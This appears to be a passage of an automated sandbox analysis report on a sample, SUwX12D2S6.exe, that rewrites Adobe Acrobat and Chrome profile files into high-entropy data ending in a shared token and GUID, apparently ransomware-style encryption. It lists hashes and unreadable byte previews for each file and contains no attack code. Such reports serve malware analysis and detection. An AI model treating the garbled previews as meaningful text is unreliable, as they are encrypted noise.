SSDEEP:	12:kSE+854fIKgRI8dX1wDlmRBBvO1+tgtGDcXPFSMBX980F9wSa9pzjVcii9a:hE+ffIKg+4ahmRnO1+mtGgt/E8GL9ZVX
MD5:	C701BFE09AD261CFDDAE57D7972093E2
SHA1:	DE4A630CE5D919D93B2DA63799C18DF91D022F47
SHA-256:	CC641ADEE165DB04255784514820BC12F64CD24BB976B2F166D9B299AD482409
SHA-512:	1467724FDDA8E91683FFA824B329B9A37B8BE071F4213DF3BA77066E04FB390B5C30C01DDB24EAA32D19E51F2F7E634920CAAC74A762C98E7D73512B271F7AFD
Malicious:	false
Preview:	2023/.sq....:.$s.$..j.Z.3+J.g.. ..(..@.......{..{.ni......m.H...p......S.K.....x.W?....\)U.S.Wr.U..@Ef.B....]}.&;!~..\|..h..-.}..f..0y~..&..=..1yM..1....eUG. .R....[....p..k5z..\|JX.%....x.pm..Q/..,..:..L...0Oz..P..._K.r....-..A\|D.P........to...b.. .&oI..5.N7s"}.QK......5...+'.n...FYg..t...b..{..D.J.z1.sn.b..\|zD....._......-......@#....OO..{.".`i.I...H...U:.Z._...v..{.R.}.o.\|_....8....iW.$..wl...."hx./.Q.\.[.;~..Y...........'.....U.iU..;...v...Ay.../..lM....{.;...!.F..Nga.@..".... .E.82..9...xX.~..x.....H....l...._.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	635
Entropy (8bit):	7.661866599669385
Encrypted:	false
SSDEEP:	12:kSE+854fIKgRI8dX1wDlmRBBvO1+tgtGDcXPFSMBX980F9wSa9pzjVcii9a:hE+ffIKg+4ahmRnO1+mtGgt/E8GL9ZVX
MD5:	C701BFE09AD261CFDDAE57D7972093E2
SHA1:	DE4A630CE5D919D93B2DA63799C18DF91D022F47
SHA-256:	CC641ADEE165DB04255784514820BC12F64CD24BB976B2F166D9B299AD482409
SHA-512:	1467724FDDA8E91683FFA824B329B9A37B8BE071F4213DF3BA77066E04FB390B5C30C01DDB24EAA32D19E51F2F7E634920CAAC74A762C98E7D73512B271F7AFD
Malicious:	false
Preview:	2023/.sq....:.$s.$..j.Z.3+J.g.. ..(..@.......{..{.ni......m.H...p......S.K.....x.W?....\)U.S.Wr.U..@Ef.B....]}.&;!~..\|..h..-.}..f..0y~..&..=..1yM..1....eUG. .R....[....p..k5z..\|JX.%....x.pm..Q/..,..:..L...0Oz..P..._K.r....-..A\|D.P........to...b.. .&oI..5.N7s"}.QK......5...+'.n...FYg..t...b..{..D.J.z1.sn.b..\|zD....._......-......@#....OO..{.".`i.I...H...U:.Z._...v..{.R.}.o.\|_....8....iW.$..wl...."hx./.Q.\.[.;~..Y...........'.....U.iU..;...v...Ay.../..lM....{.;...!.F..Nga.@..".... .E.82..9...xX.~..x.....H....l...._.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.636211254438738
Encrypted:	false
SSDEEP:	12:kLO5T7qbN6mce1ez1OpUFFRy6OkeYK9NfVeJ1Dfdr0JfejVcii9a:3R2R9QYuFFROke9+Dlr0qVbD
MD5:	79DFB59718BD07AA1A0AE29EC41DC3FA
SHA1:	C3B11BF2C61AA7C319459129E61BA806BE86E4CB
SHA-256:	1BE0E13C610AE2789DA35EC0CA216BC54E43B9D0E7ADA9537DC87A5CCF1CFE42
SHA-512:	FEE595F1B5436B43632638F26337DB2E83D01D37FC7CC57A75FF548731D93B726427B014F1D5062FC744CD1D7CFE9C6769651AA5F1D4B0529A7A347FB02DEA6B
Malicious:	false
Preview:	2023/QO...q,U..J..&_U.>...@.F^.<......y... .b..\|..3I....]..m\._..<,.f.....NPDBf...>Q... .+..CE...<o/y\|..<.J.......?E.. ...Yf...l..].u......r..[..R../2fb.<...p.{.w..p).o..M.6h....?..%...LH....?bi[..............[........3?6....>..hj..d..X..BM."...c......d>.@...B....r(.Te..Q..%.?OH...p}. w...@.._....0m...o......X0...;(`.{...^..!....r.}.g...-.KL+.BV.P.x...a......fW...0.....o....9.....OZJ.P2.f.=N. .jp....wC\\|.xnc."...3..:.ev.r..$.\.QIZ:ZR.+ ..}.r..O..QS.._A#. E...Q@..n0r..Ox.........Q.#.Y%1..&Ii...,....+hbitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.705633825162792
Encrypted:	false
SSDEEP:	12:YKWG7N1m/QHNUUXQmqeIAhX8LWqYEJNHq0TDsNkCEsAx+I9mFT/KOdn1odIpdKA7:YKWGTmONUzHZzbyE44iTJn1w4dd9VbD
MD5:	01B624A0AEFF2AD61A4AC24D6D11D5C0
SHA1:	2F2C57A715F3546974AE41E20641ECA600647E54
SHA-256:	520636C94613D6F76F19104613E6F23560FC04B582C577F4194E1DF357AF8C9A
SHA-512:	533FAC4DB4501BB9E39F8736D833C1F1267E8B46DA00BBCD0D215F83AFDF45B23B4738EFFB23EBA1E5EBEA235FC0A58A7358D4A09262CA5A97D7037382C1EB26
Malicious:	false
Preview:	{"os_.......p....%p../.{(j+c...5.....O.>Fb.......%.[.u.P..F.'.;..5naI..8....=@.....Y..f.....q...W.#....[...T.....e....4.c......c._!.O.....y..7..M.....&";..?.\_.&g..F...k.LdD.....e.......1...-..$..aEA.XsJ;.VD.:.)+.!k.B. ..hk ..g}eE1..R98;^f..(u.m..a..v`Wc.MC.@.....R.'.lV:p...E....<..S...N.C.\ET..{..c..R.R(..l.#V4...MX..-q(.E.....ob9...Fs..iR.vM..&.a.W....C.u.} .....Ob..y /.u4g/=_.M./.R......Z.....B...[..>.l..x...D..Q,......E..V/. ...%e.....^8...m.7z'...z.Z.....\.......G.-....'VJ..N..Jx..^.........u0.....Ut.Fl'..Ub...\|.{.&Gm.S.%z.....m...,.~J..~...n.O._...5.v......:...&5^..f.@...}..o.5z.......S..>6d.ONh....%m....V.....c'b...6!F3.'....)(V...........`...;.q......C..._.....Dbg..L.d8..S.A^....u.#`..l%itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	730
Entropy (8bit):	7.701643531436315
Encrypted:	false
SSDEEP:	12:SvPf1ojK5MXKKGX5No0JA6pYXvmP+d3Cd0lyA1aiJikFGcT82Pkg/zbxjVcii9a:iPGjsdKGPpl+X+y3PyliJiMGa82MKbZ9
MD5:	8F0FB7B5E3F97990479103F9535EDF68
SHA1:	A11CA8D3C5478E5E2103D9063503372FFD875C76
SHA-256:	DC7ACE180E020BC354AAFB14198690133579D503AEEBC40DB15BEB9DCD9A8870
SHA-512:	067BA1115B3BFFBAF77507B845D83C03BB890FDAF23955053C8C547486F1C8481C9904BCA85F61951687BBE5410948AA6FD5C04AC9CBD01988F5AA9223620C8F
Malicious:	false
Preview:	...#.jD.Y....P.......f=....S\|.".......@T..n.e.c.....O.....=...ts....4...~..i..f.RpYNj.+..P..._.u.O......L$[v...m.N..M..$....4..z. ...E..d_.>......O..o..4E..~:...(.%....MQ....M....5.....m......tWV...]..V..U..A.&%T[...8.w].G....{."....L=..B..M. .......^...d,. v..L ....3.M7>.......m../.......}...iw......Lod....r.;V....w...tA.c.}....y.......z..1,....J.`..R.)..\|.H.K8N....t.A:.v.'~Q..1,..$...ndK.O44$h.s$.t.s...rR......e.i.H..p.}.X....H?...%]...t.8ee.(z...u..M$@...G..>oP..?..\..,..l..HF..K.g.....T..T.C.wB.1RF...U}R.KU.........`..._.....'...fK........r..k..HMT..\...j...{.&.;.-2./7.Qp..z.a....86....L.O.2.2q&_itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	652
Entropy (8bit):	7.655047353527338
Encrypted:	false
SSDEEP:	12:kyxnSe9DAopOe+SDZGrHIqy7eI1ZK6LkHH0pQsLn0eaycXanP9Ej/cZdFoORjVcq:7xge+oaIYHu1FbZdFt5VbD
MD5:	1EA47CABB3E6CB555C3C4E0A7D795582
SHA1:	09FCE0DD416CCE865E632A0EF62600D5D39A1611
SHA-256:	729DB5D9368EDC58F930F83DADBD80AA4A9C1F3712E69E14BE192A68B2DD13A6
SHA-512:	3A4C2C66EE49A53E7990FB0CD1583BCF3A1B0AD6B5FE548C574B0E1DF840F384678098480DD233A1169285C9C791CB108A0E831742FE5A48A16C63C6C476125C
Malicious:	false
Preview:	2023/...='.pt.mH/OX.B.../Il.O.8...>-..:X..p.&....L..~).n........l&..KO...6..\|....].Z..m..@..Sm.N...T.6.....y....h..... .....H.h...H..j.O3G..._..l.Y..D..qz..[..1.r.]t+.uV.62......./.,.9Y(4..<..-..R.xU^,..ccn.....X.F...?n..''-K.!.........4..[...8..3.......IMa......H..K<..t>=b.C...Qj<]...."O.;...8.%..w..j>.....".........l....3r..N.....Q.._&x.......2..<8@.k.%$.{.7As.`B+UA...Hm..^*......1.].ZC.W../^%Z/q..T!..8.MM..Ca...@3..v.?.@...z.CA.D...D.....f.......8d.....`(.^..w..._..r\.F...J\....~..8..q.S...dP9.....`.Y:...iiY2bWw.......q..C!...l(......Rn.a..#\|..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.877487181277478
Encrypted:	false
SSDEEP:	48:2RnHJ2HbT7mOBvZjgO2vRahl4LmAV28zABDSBypHnn7FD:2RH4fhvZjQahoVN0cyxn79
MD5:	E3D172824E60BC66CBCC9123CB1519AD
SHA1:	EA64EA28571A12C9BB63E5F2F34A2412D9335859
SHA-256:	8D3AFFD6B60D84FE62CB463E573D57817001F696330AE183164034DE4E4DCEBB
SHA-512:	B628F2B3037DFB8B3C40B9A44DD0F1D9F31287854AA11300966313A5B018ADFF078915F1F70167EE9DCC0B33DA097EBED571213081DE7569B1A464187FA92333
Malicious:	false
Preview:	%!Ado........_/....%T.Y.............(?.JS......D....6...N:.g.x.6..%b....<.bgv..u`..../.....(..[.no+.....\....K%.d}.....~?`.2.../=R....@.FB.Q;....".,..&.9J...`>.p/..v..fa..H.Z...g....e...9.S\|..P.Y.I.x.....U...v}H.C.LE......g....k..A.......k...zU....$.1_.`3<......L..y....]G8nf...p..$.v.Z.g).%..).E........:...Y..'k.....'.?Vku?..U>.G.......+_.'I.5pP&N....[....d..).f..61b2.....C.Y....e...3....d.?k5).k..W."f....^.n.....b.J,...j.h.#..B.bQz..g..E.M.m6.>.L.n...O?.=g..>?....8.%4..&......N.B.x.k.DL~.....R$1...h..&]\|.^R.....'..+.......z..(........kJU.l...H...\.V..x....3rA.t...\..y{.6.:<.(.Y-...)J..=....Y.....@.7....8A%......h..KM.........W....I.-.?.R...D..jq...%..n.rG.]..tL.I....Z.......`.0.b.gGOL...^GC.a....0b..P...$.....$+...k.+f.r.....qA..bpT5prW+c.U..s2..}.._L..;.5hw..h....."z..V@.<(........5..9D...W-d.~...y02m....U=J.U.y7..e..".F..cP)&.....)u......".&.M........t..3'.\..={.n..J......X......v....].c.Q....i(..a....W...3.Kpa?i....~>....{.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.877318492599662
Encrypted:	false
SSDEEP:	3072:4MtUuuRl6ScKHsKJ3bjnmnr+fEYJ1uECWtN7UhgpnGZR0CQmabndpXE07ZmandGY:UuMkScKlFjmzlWtRUSG0mIpXE07Zman7
MD5:	BD1CA91B37BE4AB6874C9D5FEC5F17C6
SHA1:	97DE9FB17B24E903000E250906DE865E407D36A4
SHA-256:	686FDFCA0A5574CC8A1D944848CE929643DFB28D6B29BA8C6D246FA742E5BC34
SHA-512:	7C9CBB6410D714F66BCEB5E76EA91D922FBEA9E9319D34D197A244040B062099A21466209723A3A47DEEE2A9FB298C810D37331AAE6E3A64338295C7B0C2F487
Malicious:	false
Preview:	%!Ado...H...$.#.>...F\|....j..n.....\H...fkf.gX.A...k..h..:...Kby.....r(.m...F..."gY9.Rg.C-y.......r..]..........\.s.u@S.Po.:.>..L.............i.v......1.R..".Dz.UN....ms.W..>.5.s.(E...3...pw..P.f.......<..D>.N.._.R.Ei...i,...'...H....}.....`.v.N...Mu.K....M.......s.1.....T!..hv;..0lPw.v.O).....2.S2l.ci.Q......0..V..P..xv'.8..A...eBuP{D...:...%........:...z L...Q...)h.$..HVBm...h+.QWI..@..(LZ..V..."..D..H.....s....M.AC.9L........K.T...)m....I.B.C...1.Y.>...........uJ.....i.....&..Z .gq8.3z)...bL.....{+......g..&v/....O,.m._K...3..R...B..B.{._..x.zm....~....h.J..N_8.A..?...rO.1.g/$.W...'6(..N?Q........C...mr.....m.....@V6=.aU..h..c....\|s.;..r.b%.".X ..X$Z,5.2 t...g..<u....i[.J.o..?..d.l\.t.......+...Vj.O.6C.$...c6.E./Y.....Vcr.....4'....ca#.=1...;....4<.@/.d.C.}.f12...6.X.]..... "_Iu.......5.......Z...\|G.....0..:.F.,..f1.!..$h...`..........A.ix!.E...5C...DB...[..Rh.."....gc1...N..<y2....M.`S...\|....5..?..iI.\.9.;.......V.<MU.h.c..Wz

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	243530
Entropy (8bit):	6.820170613358564
Encrypted:	false
SSDEEP:	3072:NilQh0ccPdR1WuWx+uKa3R3/QxucvnlO4eI4e550ECPsUNwzXcPHsHBOolNlnX:NilQFcX1WBhK4ElO9IHVUsGwDc/sHBnX
MD5:	EE8CC1F407D721F4DAEAE7115B910869
SHA1:	B8F7A888E209A3A90184B619A971196904F9F023
SHA-256:	8328E20F1B90658E39CF41E851C8B4BB914598BBF3A32747F89B4E4E52A2568A
SHA-512:	7D87A20810C6C5CF5DA312EEC01553803D2E24DA351BDD729CFC04743745F5F3B526C6E2FD84A5D7BCC954BFA5E2002D47024789BBA4C7D366E2122A7E7BB614
Malicious:	false
Preview:	Adobe..s......%Q..K[}..H@....X.O...$...X..?/.B8x..o)..)...}...?...y;..7...#T.5j.../5Q..:...'...C...9f.q...)......{...:(.......&R.MO..N./..W...H.{.gk.DW/... .A.i..Sf&.....n..J....%....I2.....Bu"..TM....Hz.r....8m.".....A..zVM.<..{.s1..2.........Bh.x.+.]...j.l...u..~.%.jw..y.dy.....k.Uy>.d2../......t.+.L..`9j.zL}M....h...c...bO?.....P...A >....b'.l.....F[zMO.../..!^..(.=8.. J.8.....S..?...)eA%.....#..!.I.......Z........W%Y.5...b..OjF....%..}m....\|..f.C)=>^..z.U.\|.O.w.z..w......-~y..l..5.....b.L.)CZ.U.s....7j.-"}...c.......`'.+...n`n..J.>..G.i!j{8.w..E.tt.....>m>.c..F..^t.N.6...qQ.}..F".E..rFY.C.F7..\|.s..]%>m..b$ry.\|.._..>eb..H...zHuWw...I..K.........i.]._.,.M.o..x.._..9....p...q....?...lKa..6d.>.j[...h..2....*.....Gk..}.c..1m...9.Q.1...&.3.GZ..b......K(...\|.. .j...........{.B..j...W.&.f;.L....r!.N8..r..]....U.=@.....+?.4.b......(....$-....x...j~...dz..@".i....Q.....D..).m....<.st.l_@..ok...+1..7..+..j'.W....q'..qf..[...i.p8%

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3152
Entropy (8bit):	7.939672072129459
Encrypted:	false
SSDEEP:	96:JYqqMIxVo4DzSHpwP8wjb6Bd44tLjk1+Yc9:JmMIxVTCHpwzOTgEYk
MD5:	A303D22CB109E035321139D1FDE9FEF2
SHA1:	99BA5B40100B1F98C74892638A68123361081408
SHA-256:	F1D4BE043F0E279E338ED07EF351213C491F534E439ABDFA8577CBD21872A60C
SHA-512:	CB88B16C14DB9FF447B10C59DD28F2E56812668DFCF73A447D64D63238680491FD9FA1CAAD16ABB51F1105FD63B459A21E2F949DB84649E7A2F9DFBD184FDF5E
Malicious:	false
Preview:	{"all....Hst...1D.].:..).@MP(#..r4..TA.....J..!...T.....\|"S.~e.......R....tV... .}.G..W.G.oF...G8..Gg..G:X..T..EwA)......[..Z..0.&m\.......j6.o.....%.._.Sz.d/..m%....H.>.e......... .}..[.:.!......u.....A..L@5.\.W{I......_oX.......)...W.T......M9..%A.8..Sj.+....V.kN..X..v]....%.C(.o..1=.oH.....v8i.N..K3..M7)._...D..l.;..Zh.Y..Y.........'N.....j..@Ty...Yboc].o..8.....c..VrZ.....78..t.?.....w.....V.W.RcuC..s.7.....OJ..../(...U..4N8.....>.~+.&.j.+u..K.....z..^.R..?........smV..9.oZ~...&x?.c...a....n........u.d...L`i`...MC&..bX0..@....Br.~...,.4.)zf.@....V.T{...)........P..Y)LP.>\|.9I%M..f.I..L......!...lcj......V....%..m.....t.....-...l.....RTR.\.K..>j.....h:..N.12.3L..$.%ec.F..D]..5i@..S..z...}e......j.UO.0~5k3W@...o.;......d.\|W..J..W.;.S:...K..S'.(....t.............gX}.S0..M(.a\|....+z.3.......V..i..g..........>...Q.3...M....`A.b. ..6..PM..L2.M.p7X...........$.D......B@O...w...@ ..1.....k.....%.......h..j\|..WkTy^A...MC..

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997142337727674
Encrypted:	true
SSDEEP:	1536:Mv/aA3XWtk4yEBJqfcQpsj0HVX++x5Fk3ecGJ9BduxPj+c4bGLb:RA3Gtk2T+hVOscGbHuNKbQb
MD5:	994766B4854E50390406E847625C09D7
SHA1:	553D7E5E3F5ADA22669214D90BAFA61787025914
SHA-256:	575E252D43543AF99AE7FF7BA4B65A20AD340E9E502D61ED722209C27819C2B2
SHA-512:	87D547E82D1C43561CF4B94BC5DE4EAFB8AC38B35CB88F0698E11450A236251FAA184B456470652109638BD657BF9745D3A5F2D5ABBDDC5E74C230E7BDDDD962
Malicious:	true
Preview:	4.397...(V&U...k(.C.6.m'=.......W.7.0k...>F.v..+U.a....6g..Ke........y.H.L..uc..N..).T3o..5.6}.......Ig.b.s-n...f.!...+.\28.......\|x...A.E.0[...:...;....Z!.b%M'!./4#E.n\.....b..3).m........]V..R[V.P....W..gXQ...o...m.0.oX.=.K..1..Jk.6j....H...V.s..q].\|..X4.$.}..K..6...%BD.j.<.93..k...\..\g...;b.w..a..`...8=......!4..W)...<.....@..I.fZ......Cg.f%..iR...U.........W"I......I.LWz.73w....Y.`...4...F.....^u...pyj.W....v.PtG1,.kqsb+..SP0..?..e.....P. .~.Z.d.'2..j.8....._.$'.&AZY;a".....w.G.kM}.q.E....8.g.gW."P.1.g.;....j....`G.>..........]mk...&.."L..7..*..5.....]Im.[...V~3.<..Z../..d-&..!h.S.."...;.....bY...........=.8..Q...._...p..TE.]....+...x.7.K.>4.v.>.@..>.#.x..v...N.....it.w,.@..o1F.!#....m...P..)./G.....<.iV%../.......:.w..'F..,..?.$.1...0=.4oI.6.....H..w....<..uKC.7.5.T,$./...m...x7.a<..-.....q..&4....ZA.k.\|C....E...k....l.$.Y.\d.&~..Z.....H[$.l.K.H....W..V..R.s.5Y..M.$...#'-m..M.=.e3E.z]iW.,..^)..u=.J.x..?.q..\..Z.0'S...Y.<..s....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.509913226008409
Encrypted:	false
SSDEEP:	12:qKpMfC40pRocT01xmgogvakH6CNLcEIY5jVcii9a:KarpOcT01kA9H6kgCVbD
MD5:	B0B9F1C0EB8E453B10F2E39F954AF969
SHA1:	54177902D11E357CCB46E1ED1583C9AB364F03D4
SHA-256:	A0AD714DBA03D1DCBCEFCB0CD7C47D05E101AF5012544D49BCE3A75316CC3B9F
SHA-512:	E22E6E93C802F2CE27D9DBB8283C934754BFEB9EAF5EE2E81FE6F9906E1D17DC3156EADB5989F0DE2848172BFB1509DD8FCA91A973AA2A84FB7B819EAD98778C
Malicious:	false
Preview:	.f.5..s.......[._u.......)RA\8x.....)<....".K..............:..R.)`..).:........Ma~G.h.?.%j.m.$...$.9qN.0.}....G;.....4..>[....D.........:@.#y....W\|.B.H[.X.Y.X....KZf.3...2...;.v.....vv ..m..-...^.G].Z}.\|{.2h7.$a......l...&..;..K.3.z;$f.B..M..lG-O.$Fv.I..;.#....~.WPX3o..4.7.{E....l.......;/<...N.E\6..2.A............2s.R........fL...C......o...l.}.......4......!.2D.Ja...p%......]..@i/citkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.496234322969822
Encrypted:	false
SSDEEP:	12:qCZ5dvPdr4XiFdFnlA+hKukridA/JoyLOairRrHdojVcii9a:XZ5RlrAYrA+hpeiQo8aZQVbD
MD5:	EEA406ED52DE6967CF74DBC410948B67
SHA1:	067116FCE13A8923B687B56C7D9A1CEC4A324A4C
SHA-256:	3DB1E5F0FF6B52EAA905D83C3DEE538BCC380173A8AE283F40AB5E8E722970A3
SHA-512:	C4EF840A19EF17FA307034DB2694F095E6DB42E8C1F45C31C4747919A217B94ED2F383EA6420A9F10FB27606A307753E61B245D96F73F8D7B7BF11891D88E410
Malicious:	false
Preview:	.f.5...........LqL.........:!f......B.E..w......1@[..}R.......V.{.@.H.vX..-.j..V..]U.G............{).M.k.V2.M-}._.X._k.+....j...T$.8u84.Y.4.]..@.18.\|y.^.....0..8.]n..'...<../.~......Z.d.(...7`.H......>..y...d.\\u......._.R..8..'.q.x.v...2...Z%.'...If.....<...5>p..7(ub.....q.>..R%..]y&..LZAq.....:.D..d...R.......a..:.e..EHz.....k..ry..&..=F-...........,...W.....4.3...p..{7.....5!..&.vitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.722954728035816
Encrypted:	false
SSDEEP:	24:Q+peHw8t7uekh/v+qC3bwVDXPEJSz7m2AnRlLDVbD:JN8gekpv+qIw9XMw7mJnRlLDFD
MD5:	FCF94EA58DF83F727E49D6C1EF86093A
SHA1:	B8AFD8606EE43B1F7EDCF75E5F31F9F445FD5792
SHA-256:	7163FAAD9783BB7182D985C006B6D2BEC42D45558574E6E981A11592E55CA23F
SHA-512:	0CF80A2F1EB81D3E64A46782863BA580E1CEB882F419C90FDF932FE981F2BBF25C64762C5D89175E7C3308195A326AA37A31049BD851472136D1446EF267133F
Malicious:	false
Preview:	.f.5.....h.S....t.d3i.(.e&...O.v.;Ra.u...u.`$...].4..n.$L].\...Lj.l7..?....L^.aa2$..?.?.FY.[.<......'`.\|[.r/....q.8..,........y.d.IW3.Q5.Y.)......^.......x.}XW....L.m_.<..i.f.0..k..Jk.M....oz!..[".xb..t;Q.RmX...pb. .B...k..e..\...[...S...pf.e...q...._?...g..Q.m......H..p...+{.F.#...L.jY......~...9..nz....y...?9............$b.HO.pMR.lbx....U.......ZC..CTr.._aX..F..z...i.Z....B.w.0.%..aL.f...i]E...S.u.>!..zE~...t.'.).T..........j..1z.!.?,2.....H..VK..W..u.0XL. ../..\|....."."......M..CZ.^..X..R.....\|.J....!gU.\..1..._..%..h.R{.y.._B.,.?G.Uk..j....s.d.&.i .e.=.i.0_..j.....Z.w..@B..+....7.?..N...d.$E.....=.9...46....E.N..8.!../a.P....i@..(.U.`....9B.^Oe.....aT..3t.@.iq+.u.T.Q.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.old

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.6495471541834394
Encrypted:	false
SSDEEP:	12:kf6hLeAjCeIAX/WfDV7GKL+Np2xyUSNehT1KCjwcZ7EBQejVcii9a:C6hLexYX/WfDRGlNpsyUSNehT1tz9EBj
MD5:	99587D847C9D449C1CABD83171F508B9
SHA1:	3EC9FFF1D9094C83AD3339B5F30053CB5CEBF44E
SHA-256:	088A97D301E0BD574CC0185CFC90716DDC99BEDA2AD52628D87BAC7630129539
SHA-512:	6C8D8A14448DDB17BE07E9E801C28F772D3476EA882C5991C5C14BA2AE4E82F4B69330FA9355FBADC88AA884E28B05DB50C5E8A65BCE2CA12E967C2DC477753C
Malicious:	false
Preview:	2023/.u..=..V..M4.D]....Sz..?.....9.06./->`.m.S..gT....i.M-.0......f3...d.9YO.P.u@.X.....-.T.a.....tV.I.......8.....N?.b..<.U...L..x.`~.Qh.uV..V.....F.'./.a...5Hm.8.#...k.....P)...k.&..bI;c.{.Gg5>A{.h<? L.w..H..RS....B.3.o....X~.V.....?.&;.r..b .nv.......I.....I..fX.E..=.....E....~...iD........G.U..L....iQD. e{.r..7.!.D..zY.e...EV0N.^.@.n..o....9.3.^.:D._.?..P...?.....s>...gm)I./{....l...xJ.u....?...}x.!..n0..Ez{.Z.+.C...T.#P.0..}.V).0.......}c...o..W..Watz'..y.....p......#.........de_,..<..2.....z9.O..}.v...b.\t..[FJ...K..Z....\.vJ.4....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG.old

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	664
Entropy (8bit):	7.644240379479839
Encrypted:	false
SSDEEP:	12:kOaoRwZuCs5QKEAHBzXDz0KHvmw/golGTg0QGsQsbnR2bSliOtqEo5W1rYjVciik:1U7c9E8RzzTTgo7hGqbI2lJtjJYVbD
MD5:	53E768EA19BD4A4A57139E5EFE4D20FF
SHA1:	74A1E103E17686A1FFE951F70269138B6897DB67
SHA-256:	A86DAC98EF4F1CE7ADD14B63B41A1C242D2D6F9C1A53171D5BDB875EC2146DF8
SHA-512:	439352CA2CF511710ABEBD53B7B362B251EBA19E1CC624789CCC8BF06A7D2B5B893BF1017FCD7F143757285762A1845035C16539874672D8782BB67298BCF41A
Malicious:	false
Preview:	2023/o....D...F(...^.U+O;.:...=........{..t...u."..t...'....`.r......8,Oy.g%/P..E..x;.DZ.p...^..(..x...:..r...B..W..I....8....O.mjt.$....;........$oxI...."..]....w`......b........#....j. 8tUc~.........n.1.ba.._>....Zs.......(..j........B.QH.$...S."L....a\`&..Ef..LLQ.Z-..ip.Iz..F<+ce./..E1.,..+.Y.Sp.B...L.Ic....[..0M.pc...[.i#..$.^`4H.....[...e.'....."..E..[V.#.*..F....2....S...6.M.dIjN.!8.U:L.{h...:...4xf 2.w2\|iN.....E7..-...tR9?..%.J.z.....2!.O4....RC...{.S2?.m>.....r...`/....].S.....S.n5..n..+.RT.<hyud...,.......@ C.C..VOx..?6..K..<.\G.}y...`].itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\000003.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	383
Entropy (8bit):	7.347599367961742
Encrypted:	false
